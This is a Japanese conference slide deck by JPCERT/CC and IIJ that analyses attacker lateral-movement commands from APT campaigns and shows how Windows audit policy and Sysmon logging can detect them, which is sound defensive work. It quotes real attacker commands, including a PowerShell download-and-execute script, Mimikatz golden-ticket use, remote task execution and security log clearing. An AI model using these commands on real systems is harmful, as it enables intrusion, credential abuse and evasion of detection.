攻撃者の行動を追跡せよ - 行動パターンに基づく横断的侵害の把握-

Similar documents
ログを活用したActive Directoryに対する攻撃の検知と対策

Active Directory のログ調査の重要性 2018 年 4 月 26 日 東京大学大学院情報学環 セキュア情報化社会研究寄付講座

インシデント対応ハンズオン for ショーケース

共通 障害調査依頼の際には ログの他に分かる範囲で以下の情報の提供をお願いします 障害の概要 ( 障害の具体的な内容どの様な現象が発生したか等の情報 ) 障害の発生日時 障害の発生手順 ( 障害発生時に どの様な操作 運用を行ったかの情報 ) 画面上に表示されているエラーメッセージ ネットワーク構成

SAMBA Stunnel(Windows) 編 1. インストール 1 セキュア SAMBA の URL にアクセスし ログインを行います xxx 部分は会社様によって異なります xxxxx 2 Windows 版ダウンロード ボ

Microsoft Word JA_revH.doc

ESMPRO/JMSS Ver6.0

はじめに このマニュアルは BACREX-R を実際に使用する前に知っておいて頂きたい内容として 使用する前の設定や 動作に関する注意事項を記述したものです 最初に必ずお読み頂き 各設定を行ってください 実際に表示される画面と マニュアルの画面とが異なる場合があります BACREX-R は お客様の

SAMBA Stunnel(Mac) 編 1. インストール 1 セキュア SAMBA の URL にアクセスし ログインを行います xxxxx 部分は会社様によって異なります xxxxx 2 Mac OS 版ダウンロー

BACREX-R クライアント利用者用ドキュメント

MxLogonサーバサイドツールキット用UI

RADIUS サーバを使用して NT のパスワード期限切れ機能をサポートするための Cisco VPN 3000 シリーズ コンセントレータの設定

スライド 1

PC にソフトをインストールすることによって OpenVPN でセキュア SAMBA へ接続することができます 注意 OpenVPN 接続は仮想 IP を使用します ローカル環境にて IP 設定が被らない事をご確認下さい 万が一仮想 IP とローカル環境 IP が被るとローカル環境内接続が行えなくな

ServerView ESXi CIM Provider VMware vSphere ESXi 6.5 インストールガイド

サーバセキュリティサービスアップグレード手順書 Deep Security 9.6SP1 (Windows) NEC 第 1 版 2017/08/23

Microsoft Word - SSI_Smart-Trading_QA_ja_ doc

NETCRUNCH の WINDOWS 監視 P A G E 2 ス権限が必要となります ユーザーはローカル Administrators グループへ使用するユー ザーを追加することでこの権現を割り当てることが可能です 2. ファイアウォール設定 ファイアウォールルールとして RCP パフォーマンス

MC3000一般ユーザ利用手順書

ServerView ESXi CIM Provider / ServerView RAID Core Provider VMware vSphere ESXi 6.0 インストールガイド

目次 目次 準備いただくもの 準備 SQLServer2008 R2 ExpressEdition のインストール インストールの前に インストール 設定一覧 機

ESMPRO/JMSS Ver6.0

SLAMD導入手順

<48554C46545F F A5490E08E9197BF2E786C73>

管理対象クライアント端末のログを管理画面で日時 端末名等により複合検索を行える機能を有すること 外部記億媒体の使用ログを CSV 形式で出力する機能を有すること 外部記億媒体の未使用期間 最終使用クライアント端末 最終使用ユーザー名を把握できること 1.3 階層管理機能 - 外部記憶媒体使用設定権限

ひまわり8号データ利用手順データダウンロード方法について

他の章は下記をクリックして PDF 一覧からお入り下さい IT ライブラリー (pdf 100 冊 ) 目次番号 270 番 Windows Server Enterprise 2008 R2 完全解説 ( 再入門 )

NortonAntiVirus for MicrosoftExchange

目次 はじめに サービス内容 管理者機能 利用者機能

改版履歴 版数 改版日付 改版内容 /03/14 新規作成 2013/03まで製品サイトで公開していた WebSAM DeploymentManager Ver6.1 SQL Server 2012 製品版のデータベース構築手順書 ( 第 1 版 ) を本 書に統合しました 2

Microsoft PowerPoint ï½žéł»å�’å–¥æœ�ㇷㇹㅃㅀ㇤ㅳㇹㅋㅼㅫ曉逃.ppt [äº™æ‘łã…¢ã…¼ã…›]

Microsoft Word - XOOPS インストールマニュアルv12.doc

更新用証明書インポートツール 操作マニュアル 2011 年 10 月 31 日 セコムトラストシステムズ株式会社 Copyright 2011 SECOM Trust Systems CO.,LTD. All rights reserved. P-1

R76/Gaia ブリッジ構成設定ガイド

ServerView ESXi CIM Provider VMware vSphere ESXi 6.0 インストールガイド

第 7.0 版 利用履歴管理 ETCPRO5 セットアップマニュアル (Ver5.002) カードリーダモデル変更 ( 表示付き 表示なし ) に伴い 改訂 Windows10 対応に伴い 改訂 参考ホームページサイト :

ServerView ESXi CIM Provider VMware vSphere ESXi 5 インストールガイド

V-Client for Mac ユーザーズガイド

Microsoft Word - シャットダウンスクリプトWin7.doc

PowerPoint プレゼンテーション

1. はじめに Systemwalker Desktop Patrol V 以降でセキュリティ監査として BIOS パスワード設定の監査 を提供しています しかし Systemwalker Desktop Patrol メインメニュー のセキュリティ情報に表示される起動パスワード 設定パ

ServerView ESXi CIM Provider VMware vSphere ESXi 6.5 インストールガイド

Internet Week ショーケース 実践インシデント対応 ~ 侵入された痕跡を発見せよ ~ 2017 年 6 月 2 日 JPCERT コーディネーションセンター分析センターマネージャー竹田春樹

Microsoft PowerPoint - A-5予稿_最終版

ServerView ESXi CIM Provider / ServerView RAID Core Provider VMware vSphere ESXi 6.5 / 6.7 インストールガイド

McAfee Application Control ご紹介

改版履歴 版数 日付 内容 担当 V /03/27 初版発行 STS V /01/27 動作条件のオペレーティングシステムに Windows 7 STS を追加 また 動作条件のブラウザに Internet Explorer 8 を追加 V /0

ESET Smart Security 7 リリースノート

1 TCP/IPがインストールされていて正常に動作している場合は ループバックアドレィング5.3 ネットワークのトラブルシューティング スでリプライが返ってきます リプライが返ってこない場合 なんらかの原因でサービスが無効になっていたり TCP/IPプロトコルが壊れていたりする可能性があります 2

Zone Poisoning

CEM 用の Windows ドメイン コントローラ上の WMI の設定

Windows GPO のスクリプトと Cisco NAC 相互運用性

不正送金対策 フィッシング対策ソフト PhishWall( フィッシュウォール ) プレミアム のご案内 広島県信用組合では インターネットバンキングを安心してご利用いただくため 不正送金 フィッシング対策ソフト PhishWall( フィッシュウォール ) プレミアム を導入しました 無料でご利用

ESET Smart Security Premium v リリースノート

STARDUSTによる攻撃活動観測と次世代のセキュリティ技術

ESET NOD32 アンチウイルス 6 リリースノート

ESMPRO/JMSS Ver6.0

FIREWALLstaff体験版の手引き

クラウドファイルサーバーデスクトップ版 インストールマニュアル 利用者機能 第 1.2 版 2019/04/01 富士通株式会社

PRIMEQUEST におけるServerView ESXi CIM Provider VMware vSphere 5インストールガイド

URoad-TEC101 Syslog Guide

延命セキュリティ製品 製品名お客様の想定対象 OS McAfee Embedded Control 特定の業務で利用する物理 PC 仮想 PC や Server 2003 Server 2003 ホワイトリスト型 Trend Micro Safe Lock 特定の業務で利用するスタンドアロン PC

4 自己登録 の画面が表示されたら 送信 をクリックします 5 アクションが完了しました : 成功 が表示されたら 画面を下にスクロールし 画面右下隅の OK をクリックします 6Windows 用または Mac 用のキャンパスクラウドエージェントをクリックしてダウ ンロードしてください 8 ダウン

音声認識サーバのインストールと設定

Maser - User Operation Manual

RDP 接続不具合パッチ適用手順 第 1.11 版更新日 :2016/8/30 NTT コミュニケーションズ株式会社

クラウドファイルサーバーデスクトップ版 インストールマニュアル ファイルサーバー管理機能 第 1.1 版 2017/01/24 富士通株式会社

目次 1. Azure Storage をインストールする Azure Storage のインストール Azure Storage のアンインストール Azure Storage を使う ストレージアカウントの登録... 7

ServerView ESXi CIM Provider VMware ESXi 4インストールガイド

LEAP を使用して Cisco ワイヤレス クライアントを認証するための Funk RADIUS の設定

目次 1. 動作環境チェック 動作必要環境 Java のインストール Java のインストール Firebird のインストール Firebird のインストール Adobe Reader のインストール

ALogシリーズ 監査レポート集

AutoDesk Vault Configuration Guide

Deep Freeze Enterprise メンテナンス時の自動ログオン ( 株 ) ネットワールド SI 技術本部作成

6-2- 応ネットワークセキュリティに関する知識 1 独立行政法人情報処理推進機構

PowerPoint プレゼンテーション

サイドローディングに必要な環境 以下の表を参照ください エディション ドメイン不参加 ドメイン参加 Windows8.1 サイドローディング不可 サイドローディング不可 Windows RT 8.1 Windows 8.1 Pro サイドローディングキーが必要 サイドローディングキーが必要 ドメイン

Microsoft Word - ssVPN MacOS クライアントマニュアル_120版.doc

OS5.2_SSLVPN設定手順書

Transcription:

攻撃者の行動を追跡せよ - 行動パターンに基づく横断的侵害の把握と調査 - 朝長秀誠 (JPCERT コーディネーションセンター ) 六田佳祐 ( 株式会社インターネットイニシアティブ )

自己紹介 朝長秀誠 (Shusei Tomonaga) JPCERT コーディネーションセンター分析センター マルウエア分析 フォレンジック調査 マルウエアの分析結果やテクニカルレポートは JPCERT の Web ページや Github で公開 https://www.jpcert.or.jp/magazine/acreport.html https://github.com/jpcertcc/aa-tools 1

自己紹介 六田佳祐 (Keisuke Muda) 株式会社インターネットイニシアティブ (IIJ) セキュリティ本部セキュリティビジネス推進部セキュリティオペレーションセンターアナリスト IIJ SOCのメンバとしての主な業務 お客様環境に設置されたログの解析 ソフトウェアの脆弱性調査 検証 サービス及びサービス基盤の拡充 2

インシデントレスポンスの問題点 APT インシデント調査を行う際 多数のホストを 調べる必要がある 調査に必要なログは保存されていない 侵入後の横展開 (Lateral Movement) を検知す ることは難しい 3

アプローチ Lateral Movementに使用するツールでどのようなログが記録されるのか知っていれば 調査をスムーズに行うことができる 多くのインシデントではLateral Movementに共通のツールが使われることが分かっている Lateral Movement の方法にはいくつかの共通のパターンがある 4

本プレゼンテーションの目次 1 2 APT インシデントおよび Lateral Movement の概要 Lateral Movement で攻撃者が使うツール 3 攻撃者の使用するツールの分析 4 ツールの実行を記録する 5

1 2 APT インシデントおよび Lateral Movement の概要 Lateral Movement で攻撃者が使うツール 3 攻撃者の使用するツールの分析 4 ツールの実行を記録する 6

APT インシデントおよび Lateral Movement の概要 1. 侵入 2. 初期調査 5. 情報送信 3. 探索活動 標的組織 4. 感染拡大 AD/ ファイルサーバ 6. 痕跡削除 7

1 2 APT インシデントおよび Lateral Movement の概要 Lateral Movement で攻撃者が使うツール 3 攻撃者の使用するツールの分析 4 ツールの実行を記録する 8

Lateral Movement で攻撃者が使うツール 攻撃者は攻撃ツールだけでなく Windows コマンドと正規のツールも使用する なぜ攻撃者は Windows コマンドと正規のツールを使用するのか? それらはウイルス対策ソフトで検知されない 9

攻撃者が使用するツールの調査 調査方法以下の5つの攻撃キャンペーンのC&Cサーバとマルウエアの通信を調査 APT10 (named by FireEye) APT17 (named by FireEye) Dragon OK (named by Palo Alto) Blue Termite (named by Kaspersky) Tick (named by Symantec) 10

調査概要 C&C サーバ Gstatus Access Database 11

調査概要 C&C サーバ Emdivi SQLite Database コマンド実行履歴 12

調査概要 マルウエア通信 Type Encode RC4 key Daserf(Delphi) DATPER(old) DATPER(new) xxmm LZNT1 + RC4 + 変則 Base64 LZNT1 + RC4 + 変則 Base64 lzrw1kh + xor + RC4 + 変則 Base64 LZNT1 + RC4 + 変則 Base64 固定 ( 検体により異なる ) 固定 ( 検体により異なる ) 固定 ( 検体により異なる ) 固定 ( 1234 ) or one-time key 13

調査結果の概要 調査したコマンドの概要 コマンド実行総数 : 16,866 調査した感染端末延べ 数 : 645 14

調査結果の概要 調査したコマンドの概要 コマンド実行総数 : 16,866 調査した感染端末延べ 数 : 645 Windows コマンド実行数 : 14,268 15

Lateral Movement: 初期調査初期調査 感染した端末の情報を収集する 最も実行されることが多いコマンド : tasklist 感染したホストが解析環境だった場合 攻撃者はすぐにログアウトする 16

17 初期調査で使用される Windows コマンド Rank Command Count 1 tasklist 327 2 ver 182 3 ipconfig 145 4 net time 133 5 systeminfo 75 6 netstat 42 7 whoami 37 8 nbtstat 36 9 net start 35 10 set 29 11 qprocess 27 12 nslookup 11

Lateral Movement: 探索活動 探索活動 ネットワーク内ホストやリモートホストに保存さ れている情報を調査 最も実行されることが多いコマンド : dir 攻撃者は 感染したホストに保存されている機密情報を調査する ローカルネットワークの調査には net を使用する 18

19 探索活動で使用される Windows コマンド Rank Command Count 1 dir 4466 2 ping 2372 3 net view 590 4 type 543 5 net use 541 6 echo 496 7 net user 442 8 net group 172 9 net localgroup 85 10 dsquery 81 11 net config 32 12 csvde 21

net コマンド net view 接続可能なドメインのリソース一覧取得 net user ローカルおよびドメインのアカウント管理 net localgroup ローカルのグループに所属するユーザ一覧取得 net group 特定ドメインのグループに所属するユーザ一覧取得 net use リソースへのアクセス 20

なぜ ping コマンドは数多く実行されるのか? ping コマンドを使用したホストの探索 > echo @echo off >ee.bat > echo for /l %%i in (1,1,255) do ping -n 1 10.0.0.%%i ^ find "TTL=" ^>^>rr.txt >>ee.bat > type ee.bat > ee.bat 21

なぜ echo コマンドを実行するのか? echo コマンドを使ってスクリプトファイルを作成 > echo $p = New-Object System.Net.WebClient >xz.ps1 > echo $p.downloadfile("http://xxxxxxxxxx.com/wp/0122. dat","c: intel logs 0122.exe") >>xz.ps1 > type xz.ps1 > powershell -ExecutionPolicy ByPass -File C: intel logs xz.ps1 22

23 探索活動で使用される Windows コマンド Rank Command Count 13 net share 19 14 quser 18 15 net session 17 16 query 12 17 tracert 9 18 cscript 9 19 nltest 5 20 dumpel 5 21 tree 3 22 LogParser 2 23 net accounts 2 24 route 1

イベントログのログオンイベントを調査 dumpel command > dumpel.exe -f ac1.dat -l security -s 10.0.0.1 -d 10 LogParser command > LogParser ""Select *From V: Server Security.evtx Where EventID=4624 AND TimeGenerated < '2017-04-28 23:59:59' AND TimeGenerated > '2017-04-28 00:00:00'"" -i:evt -o:csv > V: Server Security.csv" 24

イベントログのログオンイベントを調査 LogParser command 2 > LogParser -i:evt -o:csv select strings,timegenerated from security where eventid=4624 and strings like %min%' and strings like '%winlogon.exe%' and (timegenerated between TO_TIMESTAMP( 2017-10-01, 'yyyy-mm-dd ) and TO_TIMESTAMP( 2017-10-06', 'yyyy-mm-dd')) >c: windows temp log.csv 25

イベントログのログオンイベントを調査 cscript command > cscript eventquery.vbs /s 10.0.1.11 /l application /fi "id eq 22 " eventquery.vbs 一つまたは複数のイベントログのイベントとプロパティを一覧表示する Windows XP, Windows Server 2003 にデフォルトでインストールされている (Windows 7 以上では動作しない ) 26

Lateral Movement: 感染拡大 感染拡大 他のマルウエアを感染させたり 他のホストにア クセスする 最も実行されることが多いコマンド : at at コマンドは Windows 10, Windows 8.1 などではサポートされていない もし at コマンドが使えない場合は schtasks パスワードダンプツールは必ず使用される 27

28 感染拡大に使用される Windows コマンド Rank Command Count 1 at 445 2 move 399 3 schtasks 379 4 copy 299 5 ren 151 6 reg 119 7 wmic 40 8 powershell 29 9 md 16 10 runas 7 11 sc 6 12 netsh 6

Windows コマンドを使ったリモートコマンド実行 at command > at [IP Address] 12:00 cmd /c "C: windows temp mal.exe" schtasks command > schtasks /create /tn [Task Name] /tr C: 1.bat /sc onstart /ru System /s [IP Address] 29

Windows コマンドを使ったリモートコマンド実行 wmic command > wmic /node:[ip Address] /user: [User Name] /password: [PASSWORD] process call create cmd /c c: Windows System32 net.exe user 30

MOF ファイルのコンパイル MOF(Managed Object Format) コンパイラは ファイルを解析し ファイルに定義されているクラスとクラスインスタンスを WMI リポジトリに追加する mofcomp command > move %temp% mseinst.mof server C$ WINDOWS system32 wbem svmon.mof > mofcomp -N:root default C: WINDOWS system32 wbem svmon.mof >c: mofinst.txt > mofcomp -AUTORECOVER C: WINDOWS system32 wbem svmon.mof >>c: mofinst.txt 31

Lateral Movement: 痕跡削除痕跡削除 攻撃者の使用したファイルおよびログの削除 最も実行されることが多いコマンド : del イベントログの削除には wevtutil 32

痕跡削除に使用される Windows コマンド Rank Command Count 1 del 844 2 taskkill 80 3 klist 73 4 wevtutil 23 5 rd 15 33

wevtutil command イベントログの削除 > wevtutil cl security ログオンイベントログの検索 > wevtutil qe security /f:text /q:""*[system[eventid =4624 or EventID=4769 or EventID=4672 or EventID=4768]] and *[System[TimeCreated[@ SystemTime>='2017-07-10T00:00:00.000']]]"" >c: windows system32 log.txt 34

wevtutil command 起動イベントログの検索 > wevtutil qe system /count:20 /rd:true /f:text /q: ""Event[System[(EventID=6005)]]"" find ""Date"" > inf.txt 35

Pass-the-Ticket の痕跡削除 攻撃者は他のホストに感染を拡大する際 Pass-theticket を使う Pass-the-hash はほとんど使われていない Pass-the-ticket 追加の認証なしでアクセスを許可する不正なチケットを発行し 認証に使用する Golden ticket TGT を使用 (Ticket-Granting Tickets) Silver ticket ST を使用 (Service Ticket) 36

Pass-the-Ticket の痕跡削除 klist command > klist purge 37

コマンド実行の流れ 例 (Tick) > cd intel logs > whoami > klist > net use > klist purge > IntelGFX.exe "kerberos::golden /user:administrator /domain:[domain] /sid:[sid] /krbtgt:[rc4 Key] /group:502 /ticket:0422.tck" exit > IntelGFX.exe "kerberos::ptt 0422.tck" exit > ping -n 1 10.1.44.16 > ping -n 1 10.1.2.16 > net use 10.1.2.16 > dir 10.1.2.16 c$ users 初期調査 探索活動 Golden Ticket with Mimikatz 38

39 > copy bb.bat 10.1.2.16 c$ windows system32 > net time 10.1.2.16 > at 10.1.2.16 12:27 bb.bat > dir 10.1.2.16 c$ windows system32 inf.txt > move 10.1.2.16 c$ windows system32 inf.txt. > del 10.1.2.16 c$ windows system32 bb.bat > copy zt.exe 10.1.2.16 c$ windows system32 mscfg.exe > net time 10.1.2.16 > at 10.1.2.16 12:33 mscfg.exe > dir 10.1.2.16 c$ windows system32 mscfg.exe > del 10.1.2.16 c$ windows system32 inf.txt > del 10.1.2.16 c$ windows tasks at*.job > net use 10.1.2.16 /del > dir > del zt.exe inf.txt bb.bat > dir > net use 感染拡大 痕跡削除

1 2 APT インシデントおよび Lateral Movement の概要 Lateral Movement で攻撃者が使うツール 3 攻撃者の使用するツールの分析 4 ツールの実行を記録する 40

調査において取得したい情報 使用された端末アカウント ( 権限 ) 実行された ツール アクセスされた 発生した 通信 ファイル 情報 再度侵入される可能性の有無 41

調査において取得したい情報 使用された端末アカウント ( 権限 ) ログオン履歴から調査 実行された ツール 実行履歴から調査 アクセスされた 発生した 通信 ファイル 情報 再度侵入される可能性の有無アクセス履歴 実行履歴から調査 42

取得したい情報と実際に取得される情報 Windows 初期設定で取得される情報 クライアント OS ログオンの成功 失敗ログオフの成功一部ポリシー変更の成功程度 サーバ OS クライアント OS の項目 + 認証周りに関する成功の監査 ログオン履歴 はある程度追跡可能 実行履歴 及び アクセス履歴 は Windows 初期設定のログから取得することは難しい 43

調査に向けて 初期状態では調査に必要な情報が揃わない 情報を揃えるための手段が必要 調査手法や確認ポイントをまとめた資料があまり無い 標準では記録されないが 設定により記録することが可能 な項目が複数ある どの項目を見るのか を整理する必要がある 44

インシデント調査のための攻撃ツール等の実行痕跡調査 攻撃に使用されるツールやコマンドを分析 攻撃者の行動パターンに基づき 攻撃で使用されることが多かった 49 種のツールを調査 約 1/3 は Windows 正規のツール 仮想環境上での実行時に記録された情報を抽出 45

インシデント調査のための攻撃ツール等の実行痕跡調査 攻撃に使用されるツールやコマンドを分析 攻撃者の行動パターンに基づき 攻撃で使用されることが多かった 49 種のツールを調査 約 1/3 は Windows 正規のツール 仮想環境上での実行時に記録された情報を抽出 ほとんどのツールにおいて十分な情報を取得するには追加のログ設定が必要 46

調査結果の公表 JPCERT/CC ホームページで公開中 https://www.jpcert.or.jp /research/ir_research.html 日本語 英語 2016 年に公開 2017 年更新版を本日公開 英語版は 12 月公開予定 47

調査結果の公表 ツール毎の主要な確認ポイントを掲載 48

調査項目 Windows ログ Windows 初期状態から取得可能なログ 追加設定することで取得可能なログ レジストリパフォーマンス向上用のキャッシュ情報ファイルシステムファイル フォルダの閲覧履歴ネットワーク通信 49

調査の結果 確認した中では イベントログ系が最も有用 監査ポリシー Sysmon 各種アプリケーションログ 50

調査の結果 確認した中では イベントログ系が最も有用 監査ポリシー Sysmon 各種アプリケーションログ イベントログ以外にも 一部で有効な情報を確認 USN ジャーナル パケットキャプチャ 51

調査の結果 確認した中では イベントログ系が最も有用 監査ポリシー Sysmon 各種アプリケーションログ 今回は主にこちら イベントログ以外にも 一部で有効な情報を確認 USN ジャーナル パケットキャプチャ 52

1 2 APT インシデントおよび Lateral Movement の概要 Lateral Movement で攻撃者が使うツール 3 攻撃者の使用するツールの分析 4 ツールの実行を記録する 53

ツールの実行を記録する ツール実行の記録には 追加の設定が必要 追跡可能な情報量に大きな差 設定が無いと 十分な追跡が出来ないケースも 54

例 : Get-GPPPassword.ps1 GitHub 上に公開されている PowerShell スクリプト グループポリシー設定に保存されている プレーンテキストのパスワードを取得する MS14-025 が未適用の場合にパスワードが保存可能 今回はこのような PowerShell スクリプトが侵入した攻撃者によって実行されることを想定 55

実行履歴の調査 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 何らかの形で RAT などがインストールされる ( 本講演ではスコープ外 ) AD ドメイン名やドメインコントローラの FQDN など 攻撃に必要な情報が取得される PowerShell スクリプトの実行が許可される ( デフォルトでは無効 ) スクリプトをダウンロードされる ダウンロードしたスクリプトを実行される 各種実行の痕跡を削除される 56

調査において取得したい情報 使用された端末アカウント ( 権限 ) ログオン履歴から調査 実行された ツール 実行履歴から調査 アクセスされた 発生した 通信 ファイル 情報 再度侵入される可能性の有無 普段のログオンと変わらず 見分けがつかない PowerShell が実行されたようだが 何を実行したかは不明 アクセス履歴 実行履歴から調査 57

実行履歴の調査方針 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 ( 本講演ではスコープ外 ) 監査ポリシー を用いて使用されたアカウントとコマンドを調査 PowerShell の実行履歴及びレジストリの変更内容から スクリプト実行許可を追跡 ネットワークの通信ログから スクリプトのダウンロードを調査 PowerShell の実行履歴及びコマンドの実行履歴から 実行された内容を追跡 痕跡が削除された場合への対策 58

実行履歴の調査方針 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 ( 本講演ではスコープ外 ) 監査ポリシー を用いて使用されたアカウントとコマンドを調査 PowerShell の実行履歴及びレジストリの変更内容から スクリプト実行許可を追跡 ネットワークの通信ログから スクリプトのダウンロードを調査 PowerShell の実行履歴及びコマンドの実行履歴から 実行された内容を追跡 痕跡が削除された場合への対策 59

監査ポリシー Windows 標準の機能 まずはここから 初期状態の Windows では 監査される設定はごく一部 情報としては不十分 60

Sysmon Windows Sysinternals の一部 https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysmon 無償で公開されており インストール出来れば誰でも利用可能 61

Sysmon Windows Sysinternals の一部 https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysmon 無償で公開されており インストール出来れば誰でも利用可能取得可能になる情報 (2017 年 5 月公開のバージョン6.10 時点 ) プロセスの作成 終了 ドライバの読み込み ディスクの RAW 読み込み パイプの作成 接続 WMI の実行 ファイル作成日時の変更 イメージの読み込み ファイルの作成 別プロセスのメモリ領域へのアクセス ファイルストリーム作成 ネットワーク接続 リモートスレッド作成 レジストリイベント 62

ログから追跡するメリット 常時ログを取得後から調査しても分からない情報を記録可能 例 : 一時ファイルを作成するツール 後から調査しても ファイルが残存していない フォレンジックでは ファイルが作成された ことは分かるが その内容を調査することは難しい ログ取得により アプリケーションや ファイル作成時のコマンドラインを追跡可能に 63

適切なログ出力設定 悪い例 よく分からないので全部のログを取得する 全部取得して後から絞り込む がポリシーであれば全部取得すること自体は悪くない 初期設定では 所定容量を超えると古いログから上書きされる ドメインコントローラ : 128MB その他 : 20MB 必要な情報が埋もれてしまう場合がある 追加の監査設定なし : 数週間のログが保管される 追加の監査設定あり : 早い時には数時間でログが上書きされる 64

取得効果のあるイベント ( セキュリティ イベント ) 特に 効果がある と判断したイベント ログオン 4611 4624 4648 4776 4778 プロセス実行 4688 アカウント管理 4720 4722 4724 4726 4728 4737 4738 ハンドル 4656 4658 4659 4660 4661 4663 4690 ログオフ 4634 4779 プロセス終了 4689 ポリシー変更 4670 4904 4905 4946 4947 VSS 8222 特権の使用 4672 4673 4674 4703 4768 4769 4771 フィルタリングプラットフォーム 5156 ファイル共有 5140 5142 5144 5145 65

取得効果のあるイベント (Windows 標準のイベント ) 下記は設定せずとも記録される システム 7036 7040 7045 アプリケーション 102 103 105 216 300 302 2001 2003 2005 2006 イベント消去 ( 各種ログ ) 104 Microsoft-Windows -Application-Experience /Program-Telemetry Microsoft-Windows -Bits-Client /Operational Microsoft-Windows -DeviceSetupManager /Admin Microsoft-Windows -Kernel-PnP /Configuration Microsoft-Windows -Kernel-PnPConfig /Configuration Microsoft-Windows -PowerShell /Operational Microsoft-Windows -WinRM/Operational Microsoft-Windows -Windows-WMI-Activity /Operational Microsoft-Windows -TerminalServices -LocalSessionManager /Operational Microsoft-Windows -TerminalServices -RemoteConnection Manager/Operational Microsoft-Windows -TerminalServices -RDPClient/Operational 66

取得効果のあるイベント (Sysmon イベント ) 特に 効果がある と判断したイベント プロセス実行 1 セキュリティ と併用 プロセス終了 5 セキュリティ と併用 ネットワーク接続 3 セキュリティ と併用 CreateRemoteThread 8 RawAccessRead 9 Process Accessed 10 作成日時変更 2 レジストリ 12, 13 67

監査ログと Sysmon (1) 似たような内容のイベントが記録される場合も Sysmonの情報が全体的に有用 監査ログにしか記録されない情報もある 監査ログ Sysmon 68

実行履歴の調査方針 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 ( 本講演ではスコープ外 ) 監査ポリシー を用いて使用されたアカウントとコマンドを調査 PowerShell の実行履歴及びレジストリの変更内容から スクリプト実行許可を追跡 ネットワークの通信ログから スクリプトのダウンロードを調査 PowerShell の実行履歴及びコマンドの実行履歴から 実行された内容を追跡 痕跡が削除された場合への対策 済 レジストリのみ済 PowerShell が実行された 69

PowerShell のログ取得 初期設定では PowerShell が実行されたことは記録される 70

PowerShell のログ取得 追加設定により 実行内容を記録することが可能 Windows 10 追加パッケージをインストールした それ以前の Windows 71

PowerShell のログ取得 スクリプトの内容が丸々イベントログに記録 コマンド履歴は別のファイルに保管 スクリプト コマンド履歴 (%AppData% Microsoft Windows PowerShell PSReadline) 72

実行履歴の調査方針 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 ( 本講演ではスコープ外 ) 監査ポリシー を用いて使用されたアカウントとコマンドを調査 PowerShell の実行履歴及びレジストリの変更内容から スクリプト実行許可を追跡 ネットワークの通信ログから スクリプトのダウンロードを調査 PowerShell の実行履歴及びコマンドの実行履歴から 実行された内容を追跡 痕跡が削除された場合への対策 済 済 済 73

ネットワーク通信の調査 通信経路上にネットワーク機器がある場合 ファイアウォール Web プロキシ IDS/IPS などのログ 74

ネットワーク通信の調査 通信経路上にネットワーク機器がある場合 ファイアウォール Web プロキシ IDS/IPS などのログ通信経路上にネットワーク機器が無い場合 Windows フィルタリングプラットフォーム (Windows ファイアウォール ) Sysmon イベント 3 (Network connection detected) 共有フォルダへのアクセスログ ( ドメインコントローラ上 ) 75

監査ログと Sysmon (2) 通信ログもプロセス監査と同様に 監査ログと Sysmon の両方に情報が記録される 監査ログ Sysmon 76

ファイルのダウンロード ファイルダウンロードにおける履歴 PowerShell Invoke-WebRequest System.Net.WebClient.DownloadFile など PowerShell の実行履歴から確認 Web ブラウザ ダウンロード履歴 一時ファイル (Temporary Internet Files) への作成履歴 この場合は ここまでに設定した内容で確認可能 77

実行履歴の調査方針 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 ( 本講演ではスコープ外 ) 監査ポリシー を用いて使用されたアカウントとコマンドを調査 PowerShell の実行履歴及びレジストリの変更内容から スクリプト実行許可を追跡 ネットワークの通信ログから スクリプトのダウンロードを調査 PowerShell の実行履歴及びコマンドの実行履歴から 実行された内容を追跡 痕跡が削除された場合への対策 済済済済 78

使用されたファイルの削除 監査ポリシーから追跡することが可能 攻撃者が自身のサイトにアップロードするため 内容を RAR や ZIP などのアーカイブにまとめ 送信した場合 一時的にアーカイブファイルが作成され 後に削除 79

痕跡の削除 管理者権限があれば イベントログは削除することが可能 ファイルに残る履歴であれば ファイルを削除すれば追跡が難しくなる 痕跡が削除された場合を想定した準備が必要 80

削除されないためには ホスト上のログは 侵入された時点で消去される可能性がある 他のホストに リアルタイムにログを転送 イベントサブスクリプション Syslog 形式などで送信 定期的なログファイルのバックアップ 81

実行履歴の調査方針 想定される攻撃手順の例 1. 侵入経路の確保 2. 環境調査 3. スクリプト実行許可 4. スクリプトダウンロード 5. スクリプト実行 6. 痕跡削除 ( 本講演ではスコープ外 ) 監査ポリシー を用いて使用されたアカウントとコマンドを調査 PowerShell の実行履歴及びレジストリの変更内容から スクリプト実行許可を追跡 ネットワークの通信ログから スクリプトのダウンロードを調査 PowerShell の実行履歴及びコマンドの実行履歴から 実行された内容を追跡 痕跡が削除された場合への対策 済済済済済 82

本手法の弱点 ログ取得量のチューニングが必要 必要なログが埋もれてしまわないように ホスト上のログが削除されると 追跡が難しくなる ログを別ホストに回収するなどの工夫が必要 83

本手法の効果 ツールの実行履歴を調査することが可能となる 初期設定のままでは追跡不可 設定変更 フリーソフトウェアの範囲である程度の調査が可能 84

効果を高める 本調査は Windows 標準機能 + Sysmon を主に使用 別のツールを加えることで 更に調査し易くする ネットワーク監視 エンドポイント監視など 85

まとめ 一般的に Lateral Movement には特定のツールおよびコマンドが使用される 監査ポリシーと Sysmon を使うことで多くのツールを検知することができる 調査レポートは APT インシデントを調査する際に活用することができる 86

Thank you Q&A https://www.jpcert.or.jp/research/ir_research.html 87